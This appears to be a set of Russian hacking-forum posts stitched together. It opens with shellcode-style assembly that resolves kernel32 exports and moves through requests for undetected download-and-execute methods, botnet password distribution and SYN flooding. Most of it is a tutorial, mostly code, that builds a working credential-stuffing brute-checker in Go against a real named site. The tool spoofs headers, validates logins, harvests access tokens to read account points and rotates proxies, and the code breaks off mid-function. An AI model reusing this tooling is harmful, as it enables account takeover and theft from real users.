.code
start: nop
;// Кладём базу Kernel32 в регистр EBX
mov ebx,[fs:0x30]
mov ebx,[ebx+0x0C]
mov ebx,[ebx+0x14]
mov ebx,[ebx]
mov ebx,[ebx]
mov ebx,[ebx+0x10]
;// Содержимое регистров:
;// EBX - база, ESI - адрес функции, EDX - имя
mov esi,[ebx+0x3c] ; RVA на РЕ-заголовок
add esi,ebx ; ..(делаем из него VA)
mov esi,[esi+0x78] ; RVA на таблицу-экспорта
add esi,ebx ; ^^^
mov edx,esi ; запомнить начало в EDX
mov esi,[esi+0x1c] ; RVA на таблицу-адресов
add esi,ebx ; ^^^
mov edx,[edx+0x20] ; RVA на указатели имён функций
add edx,ebx ; ^^^
mov ecx,20 ; сколько функций вывести на экран
mov ebp,edx ; адресуем имена через EBP
mov edi,text ; приёмник для wsprintf()
@addr: lodsd ; EAX = очередной адрес функции из ESI
mov edx,dword[ebp] ; EDX = указатель на её имя
add eax,ebx ; перевод обоих из RVA,
add edx,ebx ; ..в виртуальные VA-адреса.
add ebp,4 ; следующее имя..
pusha ; wsprintf портит все регистры, поэтому запомнить их
cinvoke wsprintf,edi,frmt,eax,edx ; сбрасываем данные в буфер, как строку
popa ; восстанавливаем все регистры
push ecx ; смещем указатель в буфере
mov ecx,-1 ; ..(счёчик для SCASB на максимум)
xor al,al ; ..(что искать в буфере - нуль)
repne scasb ; ..(поиск AL в EDI) !!!
dec edi ; ..(не считая терминального нуля)
pop ecx ; ECX на родину.
loop @addr ; промотать цикл ECX-раз..
invoke MessageBox,0,text,capt,0
invoke ExitProcess, 0
.end start
Автор: Marylin
Дело тут такое, download to exec умер практически, может кто подскажет метод скачивания vbs или powershell что особо без детектов)
Задумался над таким вопросом. Вот есть у нас ботнет, который, к примеру, брутит к чему-то там пароли (архивы, хэши, цмски). Есть бот, который устанавливается на машине юзера, получает с админки список паролей, и перебирает; и есть админка, которая собственно, контролирует успешные/неуспешные попытки, выдает пароли и так далее.
Вопрос вот в чем - как грамотно синхронизировать выдачу этих самых паролей ботам? Вот есть у нас, допустим, файл на 100кк различных английских слов. И есть 3-5к ботов. Как распределить это все грамотно между ними? Где хранить пароли в админке,чтобы не пришлось каждый раз перечитывать весь этот огромный файл?
Я вижу несколько вариантов:
1. Разбить большой файл на десятки/сотни небольших (допустим, по тысячи или
около того слов), вести в админке учет, вида - file1.txt отдали, file2.txt
свободен.
Самое простое решение,но и самое примитивное.
2. Загрузить файл в базу данных - в плане, или создать базу на миллионы
записей varchar/char с максимальной оптимизацией для выборки, либо разделить,
опять таки, на записи по несколько сотен и тысяч слов, и их хранить в базе.
Это решение более интересное, позволяет вести какую-то статистику,
добавлять/удалять данные, но - доп. нагрузка на базу , и сам факт поддержки
еще Mysql. + надо грамотно споектировать таблицы (индексы и все такое).
3. Использовать HTTP Range. Что это такое - см. в гугле,вкратце - это
заголовок , который позволяет получить не весь документ, а допустим, байты с
300 по 500, 200 байтов с конца файла и так далее. Т.е. алгос такой - бот
отправляет запрос в админку,ему идет ответ в виде диапазона, отправляет этот
диапазон файлу со словами, получает данные.
С одной стороны, решение очень простое, не надо ни с чем морочиться, разбивать
файлы. С другой - все ли вебсервера его поддерживают? (Apache точно, nginx -
хз), и главное - как это скажется на производительности при файлах на сотни
миллионов записей?
Я обещал одному из мемберов ДЛ затронуть эту тему.
Суть:
- Требуется сгенерировать мусорный код, затратив минимальные усилия.
- Я предлогаю создавать основной каркас на языке высокого уровня(c, c++ и
т.д).
Плюсы:
- Нет возни с опкодами.
- Чёткое осознание кода, с ассемблером пришлось бы потратить дополнительное
время на отладку сгенерированного кода.
- На основе кода можно также написать парсер, обфускатор(замена макроязыку),
морфер.
Нет, безусловно можно было воспользоваться прелестями макроязыка MASM, но код бы выглядел слишком большим и непонятным
Вообщем, жду от вас товарищи: идей, критику, обсуждений !
Код нах-ся в аттаче...
Пишу приложение на асме.
Для работы с сетью по условию нужно использовать либу WinHttp.
По умолчанию файлов winhttp.lib и winhttp.inc в masm32(ver10)[чем компилю]
нет, поэтому пришлось их поискать. Первый нашёл, второй пишу сам по мере
необходимости.
Содержание winhttp.inc:
Code:Copy to clipboard
WinHttpOpen PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
WinHttpConnect PROTO :DWORD,:DWORD,:DWORD,:DWORD
WinHttpCloseHandle PROTO :DWORD
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY equ 0
WINHTTP_ACCESS_TYPE_NO_PROXY equ 1
WINHTTP_ACCESS_TYPE_NAMED_PROXY equ 3
WINHTTP_NO_PROXY_NAME equ NULL
WINHTTP_NO_PROXY_BYPASS equ NULL
INTERNET_DEFAULT_PORT equ 0
INTERNET_DEFAULT_HTTP_PORT equ 80d
INTERNET_DEFAULT_HTTPS_PORT equ 443d
Функция WinHttpOpen из этой же либы отрабатывает нормально. Результат её работы[правильной, так как WinHttpCloseHandle нормально закрывает хэндл] записывается в переменную, которая затем становится одним из параметров функции WinHttpConnect.
При вызове WinHttpConnect OllyDbg показывает ошибку
ERROR_SXS_MANIFEST_PARSE_ERROR (00002EE5)
и соответственно возвращается 0 в eax, т.е. функция отрабатывает неправильно.
Описание ошибки:
The manifest file contains one or more syntax errors.
Я на асме пишу недавно и собственно не пойму, что это за манифест файл. Нашёл
я таких два: один с некоторыми мета-данными кладётся в папку с проектом и из
него берётся некоторая информация при компиляци, либо манифест-файл в папке
%systemroot%\WinSxS\
Зачем второй нужен-я честно говоря без понятия.
Теперь собственно к вопросу. Что от меня требуется?
Если файл, который лежит в папке с .asm - как его правильно написать?
Если из WinSxS - где его достать?
Заранее thx и заранее извиняюсь, если где-то ошибся.
Интересует информация по генератору случайных чисел...причем чем надежнее тем лучше
Люди помогите пожалуйста найти само учител по ASP !
и хостинг беспалатный (который потянет ASP)
Буду очень благодаренн!
Респект всем!Я изучаю асм уже 1,5 года по книге Зубкова "Assembler в DOS,Windows и UNIX.Я начал с доса.Правильно ли я сделал?Потому что со всех сторон мне твердят, что дос умер и кодить в нём совершенно бесполезное занятие!
Доброго времени суток народ Дамаги! Может ли кто нибудь дать ссылки на статьи по работе с сокетами в VB6? или лучше рассказать как устанавливать tcp/udp соединения и отправлять строки на сервер... читать ответ сервера...
Смотрел статью "Работа с сокетами в Visual Basic используя Wsock32.dll, ws2_32.dll" но не хрена не понял, да и както там мудрёно... Гуглил нечего больше не нашёл.
Заранее спасибо!
Слушайте кто-нибудь :help: .Меня :diablo: начальник :diablo: придушит если я не сделаю в программе-админе залочивание мыши и клавы
Не могу решить такой наболевший вопрос. В Хр выше второго сервиспака запрещены RAW сокеты, их можно отправить только с ринг0. И в тоже время, в рекламе современных ддос ботов (причем практически во всех) я встречал упоминание про SYN flood или атаку на порт.
Как такое может быть? Если для отправки этих сокетов нужен свой драйвер? Или есть какие-то зиродей методы, или тут все намного проще, или авторы ботов дурят народ.
В общем, есть пример или описание, как можно сделать этот син флуд в ХР сп2 и выше? Любой ЯП.
_Источник:XSS.is
Автор
_BlameUself
Рад снова приветствовать вас в удивительном мире Go. В предыдущей статье мы
начали изучение Go на примере парсера + чекера прокси
(который,
кстати, нам пригодится).
Кстати, если вы только начинаете изучать Go в дополнение к тем курсам, которые
я рекомендовал в предыдущий раз, я могу также добавить книгу "Head First
Go ". Особенно если вам нравится этот стиль, её можно читать с минимальными
знаниями программирования, и у неё определённо есть свой вайб.
Также я нашёл чудесный русскоязычный канал -
https://www.youtube.com/@deferpanic
_Сперва следует разобраться, что представляют собой программы Brute &Checker. _
Брут – это программа для перебора комбинаций потенциальных учетных данных
аккаунтов на определенном сайте. Чекер – это часть, в которой мы проверяем
определенную информацию, которую хотим получить с аккаунта. Вот так все
просто! Ну что ж, давайте декомпозируем задачу. Условия таковы: есть некий
сервис X и есть некие потенциальные данные для входа (допустим, в формате
имейл:пароль).
План работ следующий:
Изначально я также планировал добавить многопоточность в код, но чем больше я узнавал о рутинах в Go, тем больше понимал, что хочу углубить свои знания и, вероятно, вынести эту тему в отдельную статью с примерами. Несмотря на то, что потоки в Go реализованы проще, чем в других языках программирования, там есть о чем поговорить. Так что сегодня мы рассмотрим устройство брутчекеров, и после прочтения статьи вы в целом сможете реализовать такую программу самостоятельно. Также буду рад обратной связи, критике и т. д.
Для примера мы возьмем сайт - grabpoints.com. Выбор сервиса случаен, однако,
судя по описанию, на нем можно получить подарочные карты и некоторые бонусные
поинты, выполняя различные задания. Регистрируем аккаунт и начинаем работу.
Для лучшего понимания происходящего, перед началом работы рекомендуется
изучить HTTP протокол, например, посмотрев этот прекрасный курс:
(или хотя бы в общих чертах понимать что это такое)
Также желательно понимать, что происходит после ввода адреса в браузер:
Открываем браузер, а также панель разработчика, в которой открываем вкладку
Network. Наша задача - поймать запрос на вход, затем мы логинимся на сайт и
анализируем трафик. Универсального способа поймать запрос на аутентификацию не
существует, но в целом в его названии, скорее всего, будет что-то типа
"login", и практически всегда методом запроса будет POST. В данном случае мы
видим POST запрос на login по адресу https://api.grabpoints.com/login - то,
что нам нужно. Прямо сейчас предлагаю перейти в IDE и выполнить этот запрос с
помощью кода на Go.
C-like:Copy to clipboard
package main
import (
"bytes"
"fmt"
"io"
"net/http"
)
func main() {
url := "https://api.grabpoints.com/login"
payload := []byte(`{
"userName": "userName@gmail.com",
"password": "password123"
}`)
req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload))
if err != nil {
fmt.Println("Error creating request:", err)
return
}
req.Header.Set("Content-Type", "application/vnd-v4.0+json")
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error sending request:", err)
return
}
defer resp.Body.Close()
fmt.Println("Response Status:", resp.Status)
body, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading response:", err)
return
}
fmt.Println("Response Body:", string(body))
}
Импортируем необходимые пакеты. bytes используется для манипуляции
байтовыми слайсами и буферами, fmt для форматированного вывода на консоль,
io для работы с потоками ввода-вывода и net/http для работы с HTTP-
запросами. Задаем переменную url. Вернемся к запросу в браузере и посмотрим
окно Payload. Пейлод представляет собой данные, которые мы отправляем на
сервер. Они передаются в данном случае в виде JSON-объекта. Понять, что мы
имеем дело именно с JSON, можно, посмотрев заголовок Content-Type в окне
Headers на вкладке Request Headers, но и в целом его достаточно легко узнать.
Копируем данные с запроса и инициализируем переменную payload, которая
представляет собой срез байт. Она содержит JSON-подобную строку, которая
должна быть корректным JSON-ом! Помещаем туда передаваемые данные. Создается
новый HTTP-запрос с помощью функции http.NewRequest(). Указываем тип
запроса (если забыли, можно посмотреть в дев-панели), ссылку, а также тело
запроса, которое содержит данные для входа. Устанавливается заголовок**
"Content-Type" (Headers вкладка Request Headers). Первый аргумент ("
Content-Type") - это имя заголовка, а второй аргумент ("
application/vnd-v4.0+json") - это значение заголовка. Создается клиент HTTP
с помощью http.Client{}. Выполняется запрос к серверу с помощью метода
client.Do(req). Полученный ответ и возможные ошибки сохраняются в
переменных resp и err. После завершения запроса тело ответа закрывается с
помощью defer resp.Body.Close(). Выводим статус с помощью resp.Status
, считываем тело и преобразуем его в строку с помощьюio.ReadAll(resp.Body)**
, также выводим в консоль. Проверяем код и получаем замечательный статус 403
Forbidden, вовсе не то, что мы хотели.
Решением может стать добавление большего количества заголовков к нашему
запросу:
C-like:Copy to clipboard
package main
import (
"bytes"
"fmt"
"io"
"net/http"
)
func main() {
url := "https://api.grabpoints.com/login"
payload := []byte(`{
"userName": "userName@gmail.com",
"password": "password123"
}`)
req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload))
if err != nil {
fmt.Println("Error creating request:", err)
return
}
req.Header.Set("Content-Type", "application/vnd-v4.0+json")
req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Origin", "https://grabpoints.com/")
req.Header.Set("Referer", "https://grabpoints.com/")
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error sending request:", err)
return
}
defer resp.Body.Close()
fmt.Println("Response Status:", resp.Status)
body, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading response:", err)
return
}
fmt.Println("Response Body:", string(body))
}
В первую очередь добавляю User-Agent - заголовок который используется для
передачи информации о программном обеспечении (браузере, операционной системе
и т. д.), которое инициирует запрос.
Для начала вы можете взять его с браузера, в будущем будет здорово
рандомизировать этот параметр. Также добавляю Accept-Encoding (вероятно, дело
было в нем), Accept-Language, Origin и Referer.
Если по какой-то причине запрос не отрабатывает, добавьте все заголовки,
которые видите в браузере. Запускаю и вижу заветный статус 200 OK:
Далее нам нужно определить параметры валидации успешных и неуспешных
аутентификаций. Вернемся в браузер и сделаем запрос с невалидными данными:
По сути, нам нужно найти отличие между этими двумя сценариями, и я замечаю
сразу несколько. Мы можем осуществить проверку по статус-коду : 200 OK для
валидных результатов, 401 Unauthorized для невалидных, и сразу же заметить 403
для невалидных прокси на будущее. Более того, такая проверка даст нам прирост
в скорости, но ее минус будет в не самой высокой надежности, поскольку мы не
знаем всех сценариев, при которых получаем эти статус-коды, хотя это был бы
допустимый вариант. Кстати говоря, статус-коды на самом деле не надежный
источник истины, в том смысле, что их отдает разработчик, и на успешную
аутентификацию можно вернуть, скажем, код 444, и пусть так мало кто сделает,
это технически не будет ошибкой. Второй вариант - проверка по телу ответа.
Это может занять немного больше времени, но это более предсказуемый вариант.
Внимательно изучив ответ успешной аутентификации, пришел к выводу, что
валидация по строке "authorities " - хороший вариант. Пока думал,
заметил, что строка "credentialsNonExpired" : true говорит о том, что с
вероятностью 99.9% сайт использует Java Spring MVC (очень необычное поле в
целом, и в каких сценариях на этом ресурсе оно может быть false представить
довольно сложно). Для невалидного аккаунта все просто - "bad credentials
", это весь ответ, который мы получаем в таком случае. Возвращаемся к IDE.
C-like:Copy to clipboard
package main
import (
"bytes"
"fmt"
"io"
"net/http"
"strings"
)
func main() {
url := "https://api.grabpoints.com/login"
userName := "userName@gmail.com"
password := "password123"
payload := []byte(fmt.Sprintf(`{
"userName": "%s",
"password": "%s"
}`, userName, password))
req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload))
if err != nil {
fmt.Println("Error creating request:", err)
return
}
req.Header.Set("Content-Type", "application/vnd-v4.0+json")
req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Origin", "https://grabpoints.com/")
req.Header.Set("Referer", "https://grabpoints.com/")
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error sending request:", err)
return
}
defer resp.Body.Close()
fmt.Println("Response Status:", resp.Status)
body, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading response:", err)
return
}
fmt.Println("Response Body:", string(body))
if strings.Contains(string(body), "authorities") {
fmt.Printf("%s:%s - success\n", userName, password)
}
if strings.Contains(string(body), "bad credentials") {
fmt.Printf("%s:%s - fail\n", userName, password)
}
}
Подключаем пакет strings для работы с текстовыми строками. Выносим значения userName и password в переменные, используем fmt.Sprintf для форматирования. **strings.Contains(string(body), "authorities") **проверяет, содержится ли подстрока "authorities " в переменной body , если это так, выводим сообщение "success " с указанием имени пользователя и пароля, которые были использованы для аутентификации. Аналогично, конструкция **strings.Contains(string(body), "bad credentials") **проверяет, содержится ли подстрока "bad credentials " в теле ответа и выводит сообщение "fail ” в случае true.
Нашей следующей задачей будет написание чекера, а именно получение информации о количестве поинтов на аккаунте. Возвращаемся к запросам. После успешной аутентификации отправляется запрос на https://api.grabpoints.com/api/customer. Мы изучаем его и находим в ответе информацию о количестве поинтов, то что нужно. Только сперва замечаем в заголовках запроса новый параметр - X-Gp-Access-Token. И действительно, подобные запросы не могут быть доступны любому желающему, необходимо предоставлять токен. Но где же нам его взять? Он уже есть у нас. Во время успешной аутентификации мы получаем, в том числе, accessToken. Это то, что нам нужно. Итак, для написания чекера нам нужно извлечь токен из тела ответа после аутентификации, сохранить его, передать его заголовком в запросе к https://api.grabpoints.com/api/customer. Затем обработать ответ и получить нужную информацию. Полетели в VS Code.
C-like:Copy to clipboard
if strings.Contains(string(body), "authorities") {
fmt.Printf("%s:%s - success\n", userName, password)
re := regexp.MustCompile(`"accessToken" : "([^"]+)"`)
matches := re.FindStringSubmatch(string(body))
if len(matches) >= 2 {
accessToken := matches[1]
fmt.Println("Access Token:", accessToken)
urlPoints := "https://api.grabpoints.com/api/customer"
req, err := http.NewRequest("GET", urlPoints, nil)
if err != nil {
fmt.Println("Error creating request:", err)
return
}
req.Header.Set("Content-Type", "application/vnd-v4.0+json")
req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Origin", "https://grabpoints.com/")
req.Header.Set("Referer", "https://grabpoints.com/")
req.Header.Set("X-Gp-Access-Token", accessToken)
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error sending request:", err)
return
}
defer resp.Body.Close()
fmt.Println("Response Status:", resp.Status)
body, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading response:", err)
return
}
fmt.Println("Response Body:", string(body))
if strings.Contains(string(body), "points") {
re := regexp.MustCompile(`"points":\s*(\d+)`)
match := re.FindStringSubmatch(string(body))
if len(match) >= 2 {
points := match[1]
fmt.Println("Points:", points)
}
}
} else {
fmt.Println("Access Token not found in response")
}
}
Давайте напишем запрос в рамках проверки if strings.Contains(string(body), "authorities"). Во-первых, мы добавляем пакет regexp для работы с регулярными выражениями. Именно так мы будем получать информацию из тела ответа. **re := regexp.MustCompile( "accessToken" : "([^"]+)") **Мы создаем новое регулярное выражение. Сам токен находится в кавычках, а ([^ "]+) означает один или более символов, которые не являются двойными кавычками. matches := re.FindStringSubmatch(string(body)) - этот код ищет все подстроки в body , которые соответствуют шаблону регулярного выражения re. Далее мы проверяем, было ли получено регулярное выражение:**if len(matches) >= 2 { ... *} (если мы не нашли совпадений, то len(matches) будет равен 1). Получаем токен из первого запроса: accessToken := matches[1] Затем делаем точно такой же запрос на второй эндпоинт, добавляя заголовок X-Gp-Access-Token с полученным токеном. После получения ответа на второй запрос выводим статус ответа и тело ответа. Затем проверяем, содержит ли тело ответа строку "points " с помощью strings.Contains(). Если да, ищем количество поинтов с помощью регулярного выражения и выводим его. Регулярное выражение содержит :\\s , что соответствует двоеточию, за которым может следовать любое количество пробельных символов, \\d+ - это шаблон, который соответствует одной или более цифрам, а (\\d+) - это группа, которая захватывает сопоставленные цифры. Отлично, чекер готов!
Далее предлагаю научить наше приложение обращаться через прокси. Для этого
возьмем программу из прошлой статьи про прокси-парсер
и
найдем прокси. Кстати, мы можем проверить прокси прямо на ресурсе, на который
пишем брутчекер, но делать этого я не рекомендую - это будет достаточно шумно.
Впрочем, вы точно сможете определить валидные прокси для ресурса. Я буду
использовать google.com для проверки.
Но как вообще отладить код, если сайт https://api.grabpoints.com не
возвращает нам IP, с которого был запрос? Давайте попробуем написать код для
этого для сайта https://httpbin.org/ip.
C:Copy to clipboard
package main
import (
"crypto/tls"
"fmt"
"io"
"net/http"
"time"
"golang.org/x/net/proxy"
)
const (
ip = "11.115.11.1"
port = "27391"
)
func main() {
dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%s", ip, port), nil, proxy.Direct)
if err != nil {
fmt.Println("Error while creating SOCKS5 proxy:", err)
return
}
httpTransport := &http.Transport{
Dial: dialer.Dial,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{
Transport: httpTransport,
Timeout: 5 * time.Second,
}
req, err := http.NewRequest("GET", "https://httpbin.org/ip", nil)
if err != nil {
fmt.Println("Error while creating a request:", err)
return
}
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error while making request:", err)
return
}
defer resp.Body.Close()
fmt.Println("Response Status:", resp.Status)
body, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading response:", err)
return
}
fmt.Println("Response Body:", string(body))
}
Я решил начать с работы через SOCKS5. Это, по сути, код из статьи про прокси. Делаем запрос к ресурсу и видим наш IP в ответе, понимаем, что этот код работает. Переходим к основному проекту, внедряя изменения.
C-like:Copy to clipboard
package main
import (
"bytes"
"crypto/tls"
"fmt"
"io"
"net/http"
"strings"
"time"
"golang.org/x/net/proxy"
)
const (
ip = "11.115.11.1"
port = "27391"
)
func main() {
url := "https://api.grabpoints.com/login"
userName := "userName@gmail.com"
password := "password123"
dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%s", ip, port), nil, proxy.Direct)
if err != nil {
fmt.Println("Error while creating SOCKS5 proxy:", err)
return
}
payload := []byte(fmt.Sprintf(`{
"userName": "%s",
"password": "%s"
}`, userName, password))
httpTransport := &http.Transport{
Dial: dialer.Dial,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: httpTransport, Timeout: 5 * time.Second,}
req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload))
if err != nil {
fmt.Println("Error creating request:", err)
return
}
req.Header.Set("Content-Type", "application/vnd-v4.0+json")
req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Origin", "https://grabpoints.com/")
req.Header.Set("Referer", "https://grabpoints.com/")
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error sending request:", err)
return
}
defer resp.Body.Close()
fmt.Println("Response Status:", resp.Status)
body, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading response:", err)
return
}
fmt.Println("Response Body:", string(body))
if strings.Contains(string(body), "authorities") {
fmt.Printf("%s:%s - success\n", userName, password)
}
if strings.Contains(string(body), "bad credentials") {
fmt.Printf("%s:%s - fail\n", userName, password)
}
}
Проверять будем на первом запросе аутентификации. Подключаем пакет golang.org/x/net/proxy для работы с прокси, и crypto/tls - для работы с TLS. Выносим порт и прокси в переменные. Создаётся прокси-клиент через вызов proxy.SOCKS5(). Создаем новый объект http.Transport , который позволяет настраивать параметры транспорта для HTTP запросов**. Dial: dialer.Dial** : Здесь устанавливается функция Dial, которая определяет, как будет установлено соединение с сервером. В данном случае мы задаем прокси-клиент. **TLSClientConfig: &tls.Config{InsecureSkipVerify: true}: **Это опция конфигурации TLS, которая позволяет игнорировать проверку сертификата сервера при установлении защищённого соединения. InsecureSkipVerify: true означает, что клиент не будет проверять действительность сертификата сервера. Эта опция была добавлена мной из-за ошибки "X.509 Certificate Signed by Unknown Authority ". Я предполагаю, что сама прокся является ханиподом и выполняет MITM (Man-in-the-Middle) атаку, подменяя сертификат сервера на свой. Это в целом не совсем нормально, но для примера допустимо. Далее создаем новый HTTP клиент с настроенным транспортом. Добавляем также Timeout: 5 * time.Second. Если сервер не ответит в течение указанного времени, запрос будет прерван, и будет возвращена ошибка. Остальное без изменений.
Отлично, по сути, все готово. Давайте займёмся рефакторингом и разобьём код на функции.
C-like:Copy to clipboard
package main
import (
"bufio"
"fmt"
"log"
"os"
"strings"
)
const (
proxyFile = "proxy.txt"
)
func main() {
proxy, port, err := getProxy()
if err != nil {
log.Fatalf("Failed to get proxy: %v", err)
}
fmt.Printf("Proxy: %s\nPort: %s\n", proxy, port)
err = returnProxy(proxy, port)
if err != nil {
log.Fatalf("Failed to return proxy: %v", err)
}
}
func getProxy() (string, string, error) {
file, err := os.Open(proxyFile)
if err != nil {
return "", "", fmt.Errorf("Failed to open proxy file: %v", err)
}
defer file.Close()
var proxyInfo string
scanner := bufio.NewScanner(file)
if scanner.Scan() {
proxyInfo = scanner.Text()
} else {
return "", "", fmt.Errorf("Proxy file is empty")
}
parts := strings.Split(proxyInfo, ":")
if len(parts) != 2 {
return "", "", fmt.Errorf("Invalid proxy format: %s", proxyInfo)
}
var remainingLines []string
for scanner.Scan() {
remainingLines = append(remainingLines, scanner.Text())
}
file.Close()
file, err = os.Create(proxyFile)
if err != nil {
return "", "", fmt.Errorf("Failed to open proxy file for writing: %v", err)
}
defer file.Close()
for _, line := range remainingLines {
_, err := fmt.Fprintln(file, line)
if err != nil {
return "", "", fmt.Errorf("Failed to write remaining lines to proxy file: %v", err)
}
}
return parts[0], parts[1], nil
}
func returnProxy(proxy, port string) error {
file, err := os.OpenFile(proxyFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return fmt.Errorf("Failed to open proxy file: %v", err)
}
defer file.Close()
_, err = fmt.Fprintf(file, "%s:%s\n", proxy, port)
if err != nil {
return fmt.Errorf("Failed to write proxy to file: %v", err)
}
return nil
}
Давайте подумаем, как мы можем работать с множеством прокси. Мы должны учитывать, что нам нужно использовать разные прокси, также мы должны удалять те, на которых произошла ошибка, и мы не можем использовать несколько запросов по одной прокси одновременно. Хочу сказать, что вероятно это не самое оптимальное решение с точки зрения оптимизации, и я еще подумаю над тем, как его улучшить. Добавив две функции - getProxy и returnProxy , и проверим их работу в рамках функции main. Добавим несколько новых пакетов
C-like:Copy to clipboard
package main
import (
"bufio"
"fmt"
"log"
"os"
"strings"
)
const (
proxyFile = "proxy.txt"
accountFile = "forCheck.txt"
)
func main() {
email, password, err := getAccount()
if err != nil {
log.Fatalf("Failed to get account: %v", err)
}
fmt.Printf("Email: %s\nPassword: %s\n", email, password)
}
func getAccount() (string, string, error) {
file, err := os.Open(accountFile)
if err != nil {
return "", "", fmt.Errorf("Failed to open account file: %v", err)
}
defer file.Close()
var accountInfo string
scanner := bufio.NewScanner(file)
if scanner.Scan() {
accountInfo = scanner.Text()
} else {
return "", "", fmt.Errorf("Account file is empty")
}
parts := strings.Split(accountInfo, ":")
if len(parts) != 2 {
return "", "", fmt.Errorf("Invalid account format: %s", accountInfo)
}
var remainingLines []string
for scanner.Scan() {
remainingLines = append(remainingLines, scanner.Text())
}
file.Close()
file, err = os.Create(accountFile)
if err != nil {
return "", "", fmt.Errorf("Failed to open account file for writing: %v", err)
}
defer file.Close()
for _, line := range remainingLines {
_, err := fmt.Fprintln(file, line)
if err != nil {
return "", "", fmt.Errorf("Failed to write remaining lines to account file: %v", err)
}
}
return parts[0], parts[1], nil
}
Нам также необходимо реализовать функцию для получения аккаунтов. Формат аккаунтов будет точно таким же, как у прокси, за исключением того, что двоеточие будет использовано для разделения параметров email и password. Мы добавляем новую константу accountFile со значением "forCheck.txt ". Предварительно создаем файл с таким названием и помещаем туда аккаунты для проверки. Логика функции getAccount() полностью повторяет логику функции getProxy(), за исключением того, что она работает с другим файлом.
Моя идея реализации заключается в следующем: в функции main мы получаем аккаунт и передаем его в функцию checkAuth, которая возвращает коды статуса, по которым мы позже сможем обрабатывать результат. Дело в том, что на один аккаунт мы можем использовать несколько прокси, поэтому прокси мы будем получать уже в функции проверки аутентификации, а сама проверка будет происходить в цикле, где количество итераций будет ограничено переменной i. Если один аккаунт забрал, скажем, больше чем 50 прокси, то тут явно что-то не так. Возвращаемся к коду:
C-like:Copy to clipboard
func main() {
userName, password, err := getAccount()
if err != nil {
log.Fatalf("Failed to get account: %v", err)
}
fmt.Printf("Email: %s\nPassword: %s\n", userName, password)
statusCode, err := checkAuth(userName, password)
if err != nil {
log.Fatalf("Failed to check account: %v", err)
}
log.Printf("Status code: %d", statusCode)
}
func checkAuth(userName, password string) (int, error) {
for i := 0; i < 5; i++ {
ip, port, err := getProxy()
if err != nil {
return 0, fmt.Errorf("failed to get proxy: %v", err)
}
fmt.Printf("Proxy: %s\nPort: %s\n", ip, port)
dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%s", ip, port), nil, proxy.Direct)
if err != nil {
fmt.Printf("Error while creating SOCKS5 proxy: %v\n", err)
continue
}
fmt.Printf("Email: %s\nPassword: %s\n", userName, password)
payload := []byte(fmt.Sprintf(`{
"userName": "%s",
"password": "%s"
}`, userName, password))
httpTransport := &http.Transport{
Dial: dialer.Dial,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: httpTransport, Timeout: requestTimeout}
req, err := http.NewRequest("POST", urlAuth, bytes.NewBuffer(payload))
if err != nil {
fmt.Printf("Error creating request: %v\n", err)
continue
}
req.Header.Set("Content-Type", "application/vnd-v4.0+json")
req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Origin", "https://grabpoints.com/")
req.Header.Set("Referer", "https://grabpoints.com/")
resp, err := client.Do(req)
if err != nil {
fmt.Printf("Error sending request: %v\n", err)
continue
}
defer resp.Body.Close()
fmt.Println("Response Status:", resp.Status)
body, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Printf("Error reading response: %v\n", err)
continue
}
fmt.Println("Response Body:", string(body))
if strings.Contains(string(body), "bad credentials") {
err = returnProxy(ip, port)
if err != nil {
fmt.Printf("Failed to return proxy: %v", err)
}
